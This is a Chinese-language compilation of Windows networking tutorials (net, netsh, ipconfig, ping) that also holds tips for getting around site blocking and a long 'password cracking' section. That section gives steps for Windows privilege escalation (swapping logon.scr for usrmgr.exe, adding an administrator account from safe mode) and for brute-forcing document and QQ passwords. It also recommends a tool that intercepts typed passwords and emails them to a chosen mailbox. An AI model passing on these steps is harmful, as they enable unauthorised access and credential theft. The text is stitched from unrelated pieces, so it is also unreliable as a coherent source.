  命令格式:Net pause service

  7、Net Continue

  作 用:重新激活挂起的服务。
  命令格式:Net continue service   

  8、Net Stop

  作 用:停止 Windows NT/2000/2003 网络服务。
  命令格式:Net stop service

  下面我们来看看上面四条命令里服务包含哪些服务:

  (1)alerter(警报);
  (2)client service for Netware(Netware 客户端服务)
  (3)clipbook server(剪贴簿服务器)
  (4)computer browser(计算机浏览器)
  (5)directory replicator(目录复制器)
  (6)ftp publishing service (ftp )(ftp 发行服务)
  (7)lpdsvc
  (8)Net logon(网络登录)
  (9)Network dde(网络 dde)
  (10)Network dde dsdm(网络 dde dsdm)
  (11)Network monitor agent(网络监控代理)
  (12)ole(对象链接与嵌入)
  (13)remote access connection manager(远程访问连接管理器)
  (14)remote access isnsap service(远程访问 isnsap 服务)
  (15)remote access server(远程访问服务器)
  (16)remote procedure call (rpc) locator(远程过程调用定位器)
  (17)remote procedure call (rpc) service(远程过程调用服务)
  (18)schedule(调度)
  (19)server(服务器)
  (20)simple tcp/ip services(简单 TCP/IP 服务)
  (21)snmp
  (22)spooler(后台打印程序)
  (23)tcp/ip Netbios helper(TCP/IP NETBIOS 辅助工具)
  (24)ups
  (25)workstation(工作站)
  (26)messenger(信使)
  (27)dhcp client

  9、Net Statistics

  作 用:显示本地工作站或服务器服务的统计记录。
  命令格式:Net statistics [workstation | server]
  有关参数说明:

  ·键入不带参数的Net statistics列出其统计信息可用的运行服务
  ·workstation显示本地工作站服务的统计信息
  ·server显示本地服务器服务的统计信息

  例如:Net statistics server | more显示服务器服务的统计信息。

  10、Net Share

  作 用:创建、删除或显示共享资源。
  命令格式:Net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]
  有关参数说明:

  · 键入不带参数的Net share显示本地计算机上所有共享资源的信息
  · sharename是共享资源的网络名称
  · drive:path指定共享目录的绝对路径
  · /users:number设置可同时访问共享资源的最大用户数
  · /unlimited不限制同时访问共享资源的用户数
  · /remark:"text "添加关于资源的注释,注释文字用引号引住

  例如: Net share yesky=c: emp /remark:"my first share"
  以yesky为共享名共享C: emp
  Net share yesky /delete停止共享yesky目录

  11、Net Session

  作 用:列出或断开本地计算机和与之连接的客户端的会话。
  命令格式:Net session [\computername] [/delete]
  有关参数说明:

  ·键入不带参数的Net session显示所有与本地计算机的会话的信息。
  ·\computername标识要列出或断开会话的计算机。
  ·/delete结束与 computername 计算机会话并关闭本次会话期间计算机的所有打开文件。如果省略computername 参数,将取消与本地计算机的所有会话。

  例如:Net session \GHQ要显示计算机名为GHQ的客户端会话信息列表。

  12、Net Send

  作 用:向网络的其他用户、计算机或通信名发送消息。
  命令格式:Net send {name | * | /domain[:name] | /users} message
  有关参数说明:

  ·name要接收发送消息的用户名、计算机名或通信名
  ·* 将消息发送到组中所有名称
  ·/domain[:name]将消息发送到计算机域中的所有名称
  ·/users将消息发送到与服务器连接的所有用户
  ·message作为消息发送的文本

  例如:Net send /users server will shutdown in 10 minutes.给所有连接到服务器的用户发送消息。

  13、Net Print

  作 用:显示或控制打印作业及打印队列。
  命令格式:Net print [\computername ] job# [/hold | /release | /delete]
  有关参数说明:

  ·computername共享打印机队列的计算机名
  ·sharename打印队列名称
  ·job#在打印机队列中分配给打印作业的标识号
  ·/hold使用 job# 时,在打印机队列中使打印作业等待
  ·/release释放保留的打印作业
  ·/delete从打印机队列中删除打印作业

  例如:Net print \GHQHP8000列出\GHQ计算机上HP8000打印机队列的目录。

  14、Net Name

  作 用:添加或删除消息名(有时也称别名),或显示计算机接收消息的名称列表。
  命令格式:Net name [name [/add | /delete]]
  有关参数说明:

  ·键入不带参数的Net name列出当前使用的名称
  ·name指定接收消息的名称
  ·/add将名称添加到计算机中
  ·/delete从计算机中删除名称

  15、Net Localgroup

  作 用:添加、显示或更改本地组。
  命令格式:Net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]
  有关参数说明:

  ·键入不带参数的Net localgroup显示服务器名称和计算机的本地组名称
  ·groupname要添加、扩充或删除的本地组名称
  ·/comment: "text "为新建或现有组添加注释
  ·/domain在当前域的主域控制器中执行操作,否则仅在本地计算机上执行操作
  ·name [ …]列出要添加到本地组或从本地组中删除的一个或多个用户名或组名
  ·/add将全局组名或用户名添加到本地组中
  ·/delete从本地组中删除组名或用户名

  例如:Net localgroup ggg /add 将名为ggg的本地组添加到本地用户帐号数据库;
  Net localgroup ggg 显示ggg本地组中的用户。

  16、Net Group

  作 用:在 Windows NT/2000/2003 Server 域中添加、显示或更改全局组。
  命令格式:Net group groupname {/add [/comment:"text "] | /delete} [/domain]
  有关参数说明:

  ·键入不带参数的Net group显示服务器名称及服务器的组名称
  ·groupname要添加、扩展或删除的组
  ·/comment:"text "为新建组或现有组添加注释
  ·/domain在当前域的主域控制器中执行该操作,否则在本地计算机上执行操作
  ·username[ …]列表显示要添加到组或从组中删除的一个或多个用户
  ·/add添加组或在组中添加用户名
  ·/delete删除组或从组中删除用户名

  例如:Net group ggg GHQ1 GHQ2 /add将现有用户帐号GHQ1和GHQ2添加到本地计算机的ggg组。

  17、Net File

  作 用:显示某服务器上所有打开的共享文件名及锁定文件数。
  命令格式:Net file [id [/close]]
  有关参数说明:

  ·键入不带参数的Net file获得服务器上打开文件的列表
  ·id文件标识号
  ·/close关闭打开的文件并释放锁定记录

  18、Net Config

  作 用:显示当前运行的可配置服务,或显示并更改某项服务的设置。
  命令格式:Net config [service [options]]
  有关参数说明:

  ·键入不带参数的Net config显示可配置服务的列表
  ·service通过Net config命令进行配置的服务(server或workstation)
  ·options服务的特定选项

  19、Net Computer

  作 用:从域数据库中添加或删除计算机。
  命令格式:Net computer \computername {/add | /del}
  有关参数说明:

  ·\computername指定要添加到域或从域中删除的计算机
  ·/add将指定计算机添加到域
  ·/del将指定计算机从域中删除

  例如:Net computer \js /add将计算机js 添加到登录域。

  20、Net Accounts

  作 用:更新用户帐号数据库、更改密码及所有帐号的登录要求。
  命令格式:Net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days | unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]
  有关参数说明:

  ·键入不带参数的Net accounts显示当前密码设置、登录时限及域信息
  ·/forcelogoff:{minutes | no}设置当用户帐号或有效登录时间过期时
  ·/minpwlen:length设置用户帐号密码的最少字符数
  ·/maxpwage:{days | unlimited}设置用户帐号密码有效的最大天数
  ·/minpwage:days设置用户必须保持原密码的最小天数
  ·/uniquepw:number要求用户更改密码时,必须在经过number次后才能重复使用与之相同的密码
  ·/domain在当前域的主域控制器上执行该操作
  ·/sync当用于主域控制器时,该命令使域中所有备份域控制器同步

  例如:Net accounts /minpwlen:8 将用户帐号密码的最少字符数设置为8。

  当然Net命令具体在Win98/NT/2000/XP/2003环境中使用,可能会存在一些差异,请大家参考有关的资料说明,在此就不多说了。

  下面是一个将Net、ping 和ipconfig 命令组合起来使用,测试局域网的连通性,判定远程计算机Microsoft 网络服务的文件和打印机有无共享的实际例子。仅供同志们在学习操作Net网络命令做参考,具体步骤如下:

  1)首先我们要使用 Ping 命令测试 TCP/IP 的连接性,然后用 ipconfig 命令的显示,以确保网卡不处于“媒体已断开”状态。
  2)打开DOS命令提示符,然后使用IP地址对所需主机进行 Ping 命令测试。
  如果 Ping 命令失败,出现“Request timed out”消息,请验证主机 IP 地址是否正确,主机是否运行,以及该计算机和主机之间的所有网关(路由器)是否运行。
  3)要使用 Ping 命令测试主机名称解析功能,请使用主机名称 ping 所需的主机。
如果 Ping 命令失败,出现“Unable to resolve target system name”消息,请验证主机名称是否正确,以及主机名称是否能被 DNS 服务器解析。
  4)要使用Net view 命令测试 TCP/IP 连接,请打开命令提示符,然后键入 Net view\计算机名称。Net view 命令将通过建立临时连接,列出使用 Windows XP/NT/2000/2003 的计算机上的文件和打印共享。如果在指定的计算机上没有文件或打印共享, Net view 命令将显示“There are no entries in the list”消息。
如果 Net view 命令失败,出现“System error 53 has occurred”消息,请验证计算机名称是否正确,使用 Windows XP/NT/2000/2003 的计算机是否运行,以及该计算机和使用 Windows XP/NT/2000/2003 的计算机之间的所有网关(路由器)是否运行。

  如果Net view 命令失败,出现“System error 5 has occurred.Access is denied.”消息,请验证您登录所用的帐户是否具有查看远程计算机上共享的权限。

  要进一步解决连通性问题,请执行以下操作:

  a)使用 Ping 命令 ping 计算机名称。

  如果 Ping 命令失败,出现“Unable to resolve target system name”消息,则计算机名称无法解析为 IP 地址。

  b)使用Net view 命令和运行 Windows XP/NT/2000/2003 的计算机的 IP 地址,如下所示:

  Net view \IP 地址;如果Net view 命令成功,那么计算机名称 解析成错误的 IP 地址。

  如果Net view 命令失败,出现“System error 53 has occurred”消息,则说明远程计算机可能没有运行 Microsoft 网络服务的文件和打印机共享。

  1、推荐方法:利用P2P的CDN网络访问

  Coral是一个采用P2P技术的CDN网络,只要在想浏览的UR L域名后加上.nyud.net:8090就可以方便地利用Coral的CDN网络进行浏览,比如可以通过http://zh.wikipedia.org.nyud.net:8090/ 浏览维基百科中文版,可以看到安替被封的blog,几乎所有被国内封锁的网站都可以通过这种方式访问,看来以后这种技术应该大力发展才好。

  2、利用Google自动翻译

  http://translate.google.com/translate?hl=zh-CN&sl=en&u=http://zh.wikipedia.org

  慢是慢了点,不过终究可以访问。

  3、维基百科浏览器

  访问以下网址即可:http://gollum.easycp.de/gollum/gollum.php?a=core&l=zh-cn&wl=zh

  4、改动hosts文件

  C:WINDOWSSYSTEM32DRIVERSETC (windows被安装在C盘时) 用记事本或写字板打开hosts无扩展名文件加入

  145.97.39.132 en.wikipedia.org
  145.97.39.132 zh.wikipedia.org
  145.97.39.132 jp.wikipedia.org
  145.97.39.132 upload.wikimedia.org

  5、维基百科专用代理服务器

  可以使用145.97.39.130:80 – 145.97.132.140:80之间任意一个IP地址作为代理。这是wikimedia位于巴黎的服务器。但是请注意,这些代理只能用来访问wikimeida网站,其他网站不能访问。

  6、其他代理服务器

  国内: 代理服务器网、代理中国

  国外:http://www.stayinvisible.com/index.pl/proxy_list
  http://www.freepublicproxies.com/page1.html
  http://www.proxy4free.com/page1.html
  http://www.findproxy.com/index.html
  http://www.anonymitychecker.com/page1.html
  http://www.publicproxyservers.com/page1.html
  http://www.allproxies.com/page1.html
  http://www.proxymania.com/page1.html
  http://www.proxymatrix.com/page1.html
  http://www.proxytester.com/page1.html

  也可以用代理服务器软件搜索验证,象代理猎手等。

    网管员在维护和使用电脑时,经常会遇到各种密码丢失的问题,这里,我们就为广大网管员准备了一些破解密码的方法,但是希望大家不要干坏事哦。开机密码是我们最先要遇到的因此我们就先从CMOS密码破解讲起。虽然CMOS种类各异,但它们的加密方法却基本一致。一般破解的方法主要从"硬"和"软"两个方面来进行。

    一、CMOS破解

    使用电脑,首先需要开机。因此开机密码是我们最先要遇到的。虽然CMOS种类各异,但它们的加密方法却基本一致。一般破解的方法主要从"硬"和"软"两个方面来进行。

    1."硬"解除方法

    硬件方法解除CMOS密码原理是将主板上的CMOSRAM进行放电处理,使存储在CMOSRAM中的参数得不到正常的供电导致内容丢失,从而起到解除CMOS密码的目的。一些报刊对如何破解CMOS密码的通常做法,如跳线短接法和电池短接法已有较多介绍,操作起来也十分方便。但我们这里要介绍的是个另类技巧,这也是一些电脑DIY们很喜欢用的方法。方法也很简单:打开机箱,将硬盘或光驱、软驱的数据线从主板上拔掉,然后再启动计算机,BIOS会在自检时报告错误并自动进入CMOS,此时就可以重新设置BIOS内容了。

    2."软"解除方法

    严格地说,"软"解除CMOS密码没有"硬"解除方法那么彻底,但也十分奏效。CMOS密码根据需要,可设为普通级用户密码和超级用户级密码两种。前者只是限制对BIOS的修改,可以正常启动电脑和运行各类软件,而后者则对进入电脑和BIOS完全禁止。

    1) 破解普通用户密码

    首先用DOS启动盘启动电脑,进入DOS状态,在DOS命令行输入debug回车,然后用所列的其中任何一种方法的数据解除CMOS密码,重新启动电脑,系统会告诉你CMOS参数丢失,要求你重新设定CMOS参数。经过试验,这是一种很有效的方法。"-"后面的字母"O",表示数值输出的地址,70和10都是数值。

    2) 破解超级用户密码

    这里我们需借助外部工具。我们选用最为经典的BiosPwds,是一款免费软件,比较适合对DOS不太熟悉的电脑用户,很久以前就为人们所熟知,只要轻轻一点,就会将用户的CMOS密码显示出来。工具最新版本1.21,127KB,免费下载地址:http://bj2.onlinedown.net/soft/8107.htm。下载解压后,双击该软件的执行文件,在出现的界面中点击"Getpasswords"按钮,稍等二、三秒即会将BIOS各项信息显示于BiosPwds的界面上,包括:Bios版本、Bios日期、使用密码等,这时你便可以很轻松地得知BIOS密码。

    二、破解系统密码
   
    系统密码是你登录到操作系统时所使用到的密码,它为你的计算机提供了一种安全保护,可以使你的计算机免受非法用户的使用,从而保障电脑和机密数据的安全。

    1. Windows98/ME的系统登录密码

    ① 取消法

    最简单的一种方法是在系统登录要求输入密码时,你什么也不用输入,直接点击取消,可以进入操作系统。但用此种方法只能访问本机的资源,如果计算机是局域网的一部分,你将不能访问网络资源。

    ② 新增使用者

    当你由于密码问题被挡在系统之外时,不妨为系统再新增一个使用者,然后重新登录,一样可以登录系统并访问系统或网络资源。单击"开始"/"设置"/"控制面板",然后双击"用户",打开"用户属性"对话框。接着,根据提示依次输入"用户名"、"密码"、"个性化项目设置"中所需的内容,最后单击"完成"。

    ③ 删除"PWL"文件

    删除Windows安装目录下的.PWL密码文件和Profiles子目录下的所有个人信息文件,然后重新启动Windows,系统就会弹出一个不包含任何用户名的密码设置框,我们无需输入任何内容,直接点击"确定"按钮,Windows密码即被删除。

    ④ 修改注册表

    运行注册表编辑器,打开注册表数据库"HKEY_LOCAL_MACHINE\Network\Logon"分支下的"username"修改为"0",然后重新启动系统,也可达到去掉密码的目的。

    2. 破解WindowsNT密码

    如果你有普通用户账号,有一个很简单的方法获取NTAdministrator账号:先把c:\winntsystem32下的logon.scr改名为logon.old备份,然后把usrmgr.exe改名为logon.scr再重新启动。logon.scr是系统启动时加载的程序,重新启动后,不会出现以往的登录密码输入界面,而是用户管理器,这时你就有权限把自己加到Administrator组。

    3. Windows2000密码

    启动盘启动电脑或引导进入另一操作系统(如Windows98),找到文件夹"X:\DocumentsandSettings\Administrator"(X为Windows2000所在磁盘的盘符),将此文件夹下的"Cookies"文件夹删除,然后重新启动电脑,即可以空密码快速登录Windows2000。

    4. 破解WindowsXP的密码

    在启动WindowsXP时按F8键选择带命令行的安全模式,使用net命令可以对用户身份进行操作。具体步骤如下:使用命令"netuserabcd/add"添加一名为abcd的用户,使用命令"netlocalgroupadministratorsabcd/add"将用户abcd提升为管理员,重新启动电脑,用abcd身份登录,最后对遗忘密码的用户进行密码修改即可。

    三、破解几个常用软件密码

    目前,更多的用户懂得了利用电脑软件对自己的一些储存在电脑中的信息进行加密操作,使无权阅读的人无法轻松打开这些重要资料。下面就让我们一块看一下几个常用软件密码的解除:

    1. 破解WPS系列密码

    如果你是合法用户,在忘却密码时,启动WPS程序,点击"文件"/"密码设置"菜单,在出现的密码设置对话框中可以看到原密码会自动以""号的方式出现在"密码"文本框中,点击"清除"按钮,再在随后出现的提示框中点击"确认"按钮,该加密文件的密码已经被清除了。以后再次打开该文件就不再需要输入密码了。如果你不是合法用户就只能借助有关工具进行破解。现在破解WPS密码的软件很多,但论其功能强大,破解速度快就要数国产的Edward'sWPS2000PasswordRecovery了。该工具破解WPS密码采用的是破解密码的常见的方法———穷举法。使用步骤如下:首先,在程序界面中的"EncryptedWPS2000file"的文本框中通过右侧的"浏览"按钮加入需破解的WPS加密文件;然后选择密码破解方法,该软件有以下几种密码破解方式:Brute-force(强力攻击)、Dictionary(字典攻击)、mask(掩码搜索)等等,一般选用"Brute-force"(强力破解)法;接着在"Brute—forceRangeOptions"列表框中选择破解密码可能包含的密码范围,例如:大小写字母、数字、是否有空格、特殊字符等;此外还要指定密码长度,如6位或更长;最后,当上述几项设置完毕后,请点击"RUN"选项,密码很快得以破解。

    2. 破解Word文档密码

    可能是微软的Office太引人注目了,针对它的破解软件非常多。下面先让我们来看看如何破解它的文档密码。我们选用一款国产的软件"97/2000/XP密码查看器",这是一款仅有29KB大小的微型简体中文的Word密码解除软件。此软件无需安装,双击可执行文件即可。该工具可以破解Windows9X/NT/2000/XP全系列的文档密码,可以查找最多13位的密码(未注册版只支持3位),使用"字典式"穷举法破解。使用时在程序中点击"文件"/"打开"命令加入需破解文档;在"任务属性"中设置密码类型,建议将几个选项全部选中;填写密码长度;点击"确定"返回主界面,选择"操作"/"开始破解命令即可进行密码破解

    3. 破解Excel文档

    我们选用一个叫AdvancedExcel97PasswordRecovery的工具,614K,最近版本1.01,它可以迅速破解Excel文件的密码。AdvancedExcel97PasswordRecovery下载后需要安装,安装完毕后打开其程序主界面,通过浏览按钮打开需要解密的电子表格文档,选择密码长度,设置密码类型,最后点击蓝色的开始破解按钮,稍等片刻会弹出文档密码已被破解的提示菜单。

    4.破解OICQ密码

    我们使用一个叫"OICQ密码终结者"的工具。使用步骤如下:首先要设置你的OICQ的安装目录;接着选择搜索用的字符集,例如选上图中小写字母的字符集,就选中小写字母前的复选框或将"基本设置"下面的所有方框全部选中;然后设置搜索密码的位数,建议不要太长,例如8位,那就需要很长时间,不知你有没有耐心;最后单击"开始"按钮即可进行OICQ的密码破解。据网上高手称Oicqpassovcr的穷举速度可以达到每秒钟数千次,如果你想破解的QQ密码只是4-5位的话,我想在几分钟之内Oicqpassover就可以破解密码了。

    四、破解网络密码

    网络正悄然而迅速地走进我们的日常生活。但作为普通的网络用户,人们都有一种共同的忧虑,就是网络的安全隐患。于是不得不对个人网络活动采取有效的保护措施———加上各种密码。但这些密码一旦遗忘,成为我们进行工作的大碍。下面是一些有关网络密码的破解技巧。

    1. 破解上网账号与密码

    作为日常上网的桥梁,我们每个人都需要在上网时进行上网账号与密码的设置,这样才能登录网络。利用一些工具软件获得账号并不是很难的事情,甚至可以说是一件轻而易举的事情。这里我们借助一个叫GetIP的工具,这是个由国人刘骥设计开发的"口令密码"识别软件。GetIP能够帮助我们将那些代表口令的密码"***"号还原成真实的口令。如果你需要该软件,可到作者的主页http://brain.zb169.net/免费下载。GetIP使用十分简单,运行GetIP.exe可执行文件,出现程序界面,将鼠标指向"点击(放大镜)处并拖动",用鼠标拖着移动到想要得知的密码处,真实的密码口令就会立即反应到"文本"框中。

    2. 破解IE分级审查密码

    IE浏览器提供了分级审查功能,它可以在用户的设置下对某些网页进行过滤,只有知道分级审查功能密码的用户才能查看相关网页的信息。如果遗忘了分级审查功能的密码,不但不能访问受到限制的站点,而且不能更改已有的限制级别,重装IE也没有用,怎么办?启动注册表编辑器,找到"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ratings"子键,找到一个名叫"KEY"的键值项,它就是用户设置IE分级审查口令(数据已经加密),用户只需删除该键值就可以取消分级审查口令,然后重新设置IE分级审查密码即可。

    3. 破解OE密码

    在OE程序中有三种密码:邮箱密码、新闻组密码和用户身份确认密码。下面我们以一个叫"密码截取"(3.1特别版)的软件,可运行于WIN9X/2000/NT/XP,110KB,可到http://gaoasp.diy.163.com/处下载。软件可以用于破解Web的邮箱密码、POP3收信密码、FTP登录密码,并将密码显示、保存,或发送到用户指定的邮箱。密码截取过程:密码截取软件将截取到的密码输入框中的密码(如拨号连接、OICQ、IE中的密码),以密码明文形式保存在用户自定义的文件中(缺省为c:\password.txt),如果没有截取到密码,密码文件将不存在。同时可以将获取到的密码发送到用户指定的邮箱中。密码截取2.8支持的操作系统:Windows9X/NT/2000。该软件不需安装,下载并解压后,直接双击getpassword.exe运行,点击图中的"邮件设置"选项,设置将截取到的密码发向指定信箱,接着点击"密码文件"选项,设置将截取到的密码保存在本机的c:\password.txt中,以便随时查看。

    4. 破解Foxmail密码

    有相当多的用户,使用简单却功能强大Foxmail做邮件接收工具。但是由于Foxmail本身的安全隐患,一些人只须新建一个账户后,进入Foxmail缺省的安装目录下,将新建的账户目录下的"account.stg"文件复制后将你的账户文件覆盖,你所建立的账户密码就会被清除。

  如果你玩过路由器的话,就知道路由器里面那些很好玩的命令缩写。
  
  例如,"sh int" 的意思是 "show interface"。
  
  现在 Windows 2000 也有了类似界面的工具,叫做 netsh。
  
  我们在 Windows 2000 的 cmd shell 下,输入 netsh
  就出来:netsh> 提示符,
  输入 int ip 就显示:
  interface ip>
  
  然后输入 dump ,我们就可以看到当前系统的网络配置:
  
  # ———————————-
  
  # Interface IP Configuration
  
  # ———————————-
  
  pushd interface ip
  
  # Interface IP Configuration for "Local Area Connection"
  
  set address name = "Local Area Connection" source = static addr = 192.168.1.168
  mask = 255.255.255.0
  add address name = "Local Area Connection" addr = 192.1.1.111 mask = 255.255.255.0
  set address name = "Local Area Connection" gateway = 192.168.1.100 gwmetric = 1
  set dns name = "Local Area Connection" source = static addr = 202.96.209.5
  set wins name = "Local Area Connection" source = static addr = none
  
  popd
  # End of interface IP configuration
  
  上面介绍的是通过交互方式操作的一种办法。
  我们可以直接输入命令:
  "netsh interface ip add address "Local Area Connection" 10.0.0.2 255.0.0.0"
  来添加 IP 地址。
  
  如果不知道语法,不要紧的哦!
  在提示符下,输入 ? 就可以找到答案了。方便不方便啊?
  原来微软的东西里面,也有那么一些让人喜欢的玩意儿。可惜,之至者甚少啊!
  
  Windows网络命令行程序
  这部分包括:
  
  使用 ipconfig /all 查看配置
  使用 ipconfig /renew 刷新配置
  使用 ipconfig 管理 DNS 和 DHCP 类别 ID
  使用 Ping 测试连接
  使用 Arp 解决硬件地址问题
  使用 nbtstat 解决 NetBIOS 名称问题
  使用 netstat 显示连接统计
  使用 tracert 跟踪网络连接
  使用 pathping 测试路由器
  使用 ipconfig /all 查看配置
  发现和解决 TCP/IP 网络问题时,先检查出现问题的计算机上的 TCP/IP 配置。可以使用 ipconfig 命令获得主机配置信息,包括 IP 地址、子网掩码和默认网关。
  
  注意
  对于 Windows 95 和 Windows 98 的客户机,请使用 winipcfg 命令而不是 ipconfig 命令。
  使用带 /all 选项的 ipconfig 命令时,将给出所有接口的详细配置报告,包括任何已配置的串行端口。  使用 ipconfig /all,可以将命令输出重定向到某个文件,并将输出粘贴到其他文档中。也可以用该输出确认网络上每台计算机的 TCP/IP 配置,或者进一步调查 TCP/IP 网络问题。
  
  例如,如果计算机配置的 IP 地址与现有的 IP 地址重复,则子网掩码显示为 0.0.0.0。
  
  下面的范例是 ipconfig /all 命令输出,该计算机配置成使用 DHCP 服务器动态配置TCP/IP,并使用WINS 和 DNS 服务器解析名称。
  
  Windows 2000 IP Configuration
  
  Node Type.. . . . . . . . : Hybrid
  IP Routing Enabled.. . . . : No
  WINS Proxy Enabled.. . . . : No
  
  Ethernet adapter Local Area Connection:
  
  Host Name.. . . . . . . . : corp1.microsoft.com
  DNS Servers . . . . . . . : 10.1.0.200
  Description. . . . . . . : 3Com 3C90x Ethernet Adapter
  Physical Address. . . . . : 00-60-08-3E-46-07
  DHCP Enabled.. . . . . . . : Yes
  Autoconfiguration Enabled.: Yes
  IP Address. . . . . . . . . : 192.168.0.112
  Subnet Mask. . . . . . . . : 255.255.0.0
  Default Gateway. . . . . . : 192.168.0.1
  DHCP Server. . . . . . . . : 10.1.0.50
  Primary WINS Server. . . . : 10.1.0.101
  Secondary WINS Server. . . : 10.1.0.102
  Lease Obtained.. . . . . . : Wednesday, September 02, 1998 10:32:13 AM
  Lease Expires.. . . . . . : Friday, September 18, 1998 10:32:13 AM
  
  如果 TCP/IP 配置没有问题,下一步测试能够连接到 TCP/IP 网络上的其他主机。
  
  使用 ipconfig /renew 刷新配置
  解决 TCP/IP 网络问题时,先检查遇到问题的计算机上的 TCP/IP 配置。如果计算机启用 DHCP 并使用 DHCP 服务器获得配置,请使用 ipconfig /renew 命令开始刷新租约。
  
  使用 ipconfig /renew 时,使用 DHCP 的计算机上的所有网卡(除了那些手动配置的适配器)都尽量连接到DHCP 服务器,更新现有配置或者获得新配置。
  
  也可以使用带 /release 选项的 ipconfig 命令立即释放主机的当前 DHCP 配置。有关 DHCP 和租用过程的详细信息,请参阅客户机如何获得配置。
  
  注意
  对于启用 DHCP 的 Windows 95 和 Windows 98 客户,请使用 winipcfg 命令的 release 和 renew 选项,而不是 ipconfig /release 和 ipconfig /renew 命令,手动释放或更新客户的 IP 配置租约。
  使用 ipconfig 管理 DNS 和 DHCP 类别 ID
  也可以使用 ipconfig 命令:
  
  显示或重置 DNS 缓存。
  详细信息,请参阅使用 ipconfig 查看或重置客户解析程序缓存。
  
  刷新已注册的 DNS 名称。
  详细信息,请参阅使用 ipconfig 更新 DNS 客户注册。
  
  显示适配器的 DHCP 类别 ID。
  详细信息,请参阅显示客户机上的 DHCP 类别 ID 信息。
  
  设置适配器的 DHCP 类别 ID。
  详细信息,请参阅设置客户机上的 DHCP 类别 ID 信息。
  
  使用 Ping 测试连接
  Ping 命令有助于验证 IP 级的连通性。发现和解决问题时,可以使用 Ping 向目标主机名或 IP 地址发送 ICMP 回应请求。需要验证主机能否连接到 TCP/IP 网络和网络资源时,请使用 Ping。也可以使用 Ping 隔离网络硬件问题和不兼容配置。
  
  通常最好先用 Ping 命令验证本地计算机和网络主机之间的路由是否存在,以及要连接的网络主机的 IP 地址。Ping 目标主机的IP 地址看它是否响应,如下:
  
  ping IP_address
  使用 Ping 时应该执行以下步骤:
  
  Ping 环回地址验证是否在本地计算机上安装 TCP/IP 以及配置是否正确。
  ping 127.0.0.1
  
  Ping 本地计算机的 IP 地址验证是否正确地添加到网络。
  ping IP_address_of_local_host
  
  Ping 默认网关的 IP 地址验证默认网关是否运行以及能否与本地网络上的本地主机通讯。
  ping IP_address_of_default_gateway
  
  Ping 远程主机的 IP 地址验证能否通过路由器通讯。
  ping IP_address_of_remote_host
  
  Ping 命令用 Windows 套接字样式的名称解析将计算机名解析成 IP 地址,所以如果用地址成功,但是用名称 Ping 失败,则问题出在地址或名称解析上,而不是网络连通性的问题。详细信息,请参阅使用 Arp 解决硬件地址问题。
  
  如果在任何点上都无法成功地使用 Ping,请确认:
  
  安装和配置 TCP/IP 之后重新启动计算机。
  “Internet 协议 (TCP/IP) 属性”对话框“常规”选项卡上的本地计算机的 IP 地址有效而且正确。
  启用 IP 路由,并且路由器之间的链路是可用的。
  您可以使用 Ping 命令的不同选项来指定要使用的数据包大小、要发送多少数据包、是否记录用过的路由、要使用的生存时间 (TTL) 值以及是否设置“不分段”标志。可以键入 ping -? 查看这些选项。
  
  下例说明如何向 IP 地址 172.16.48.10 发送两个 Ping,每个都是 1,450 字节:
  
  C:>ping -n 2 -l 1450 172.16.48.10
  Pinging 172.16.48.10 with 1450 bytes of data:
  
  Reply from 172.16.48.10:bytes=1450 time<10ms TTL=32
  Reply from 172.16.48.10:bytes=1450 time<10ms TTL=32
  
  Ping statistics for 157.59.8.1:
  Packets:Sent = 2, Received = 2, Lost = 0 (0% loss),
  Approximate roundtrip times in milli-seconds:
  Minimum = 0ms, Maximum = 10ms, Average = 2ms
  默认情况下,在显示“请求超时”之前,Ping 等待 1,000 毫秒(1 秒)的时间让每个响应返回。如果通过 Ping 探测的远程系统经过长时间延迟的链路,如卫星链路,则响应可能会花更长的时间才能返回。可以使用 -w (等待)选项指定更长时间的超时。
  
  使用 Arp 解决硬件地址问题
  “地址解析协议 (ARP)”允许主机查找同一物理网络上的主机的媒体访问控制地址,如果给出后者的 IP 地址。为使 ARP 更加有效,每个计算机缓存 IP 到媒体访问控制地址映射消除重复的 ARP 广播请求。
  
  可以使用 arp 命令查看和修改本地计算机上的 ARP 表项。arp 命令对于查看 ARP 缓存和解决地址解析问题非常有用。
  
  详细信息,请参阅查看“地址解析协议 (ARP)”缓存和添加静态 ARP 缓存项目。
  
  使用 nbtstat 解决 NetBIOS 名称问题
  TCP/IP 上的 NetBIOS (NetBT) 将 NetBIOS 名称解析成 IP 地址。TCP/IP 为 NetBIOS 名称解析提供了很多选项,包括本地缓存搜索、WINS 服务器查询、广播、DNS 服务器查询以及 Lmhosts 和主机文件搜索。
  Nbtstat 是解决 NetBIOS 名称解析问题的有用工具。可以使用nbtstat 命令删除或更正预加载的项目:

  nbtstat -n 显示由服务器或重定向器之类的程序在系统上本地注册的名称。
  nbtstat -c 显示 NetBIOS 名称缓存,包含其他计算机的名称对地址映射。
  nbtstat -R 清除名称缓存,然后从 Lmhosts 文件重新加载。
  nbtstat -RR 释放在 WINS 服务器上注册的 NetBIOS 名称,然后刷新它们的注册。
  nbtstat -a name 对 name 指定的计算机执行 NetBIOS 适配器状态命令。适配器状态命令将返回计算机的本地 NetBIOS 名称表,以及适配器的媒体访问控制地址。
  nbtstat -S 列出当前的 NetBIOS 会话及其状态(包括统计),如下例所示:
  NetBIOS connection table
  
  Local name State In/out Remote Host Input Output
  ——————————————————————
  CORP1 <00> Connected Out CORPSUP1<20> 6MB 5MB
  CORP1 <00> Connected Out CORPPRINT<20> 108KB 116KB
  CORP1 <00> Connected Out CORPSRC1<20> 299KB 19KB
  CORP1 <00> Connected Out CORPEMAIL1<20> 324KB 19KB
  CORP1 <03> Listening
  使用 netstat 显示连接统计
  可以使用 netstat 命令显示协议统计信息和当前的 TCP/IP 连接。netstat -a 命令将显示所有连接,而 netstat -r 显示路由表和活动连接。netstat -e 命令将显示Ethernet 统计信息,而 netstat -s 显示每个协议的统计信息。如果使用 netstat -n,则不能将地址和端口号转换成名称。下面是 netstat 的输出示例:
  
  C:>netstat -e
  Interface Statistics
  
  Received Sent
  Bytes 3995837940 47224622
  Unicast packets 120099 131015
  Non-unicast packets 7579544 3823
  Discards 0 0
  Errors 0 0
  Unknown protocols 363054211
  
  C:>netstat -a
  
  Active Connections
  
  Proto Local Address Foreign Address State
  TCP CORP1:1572 172.16.48.10:nbsession ESTABLISHED
  TCP CORP1:1589 172.16.48.10:nbsession ESTABLISHED
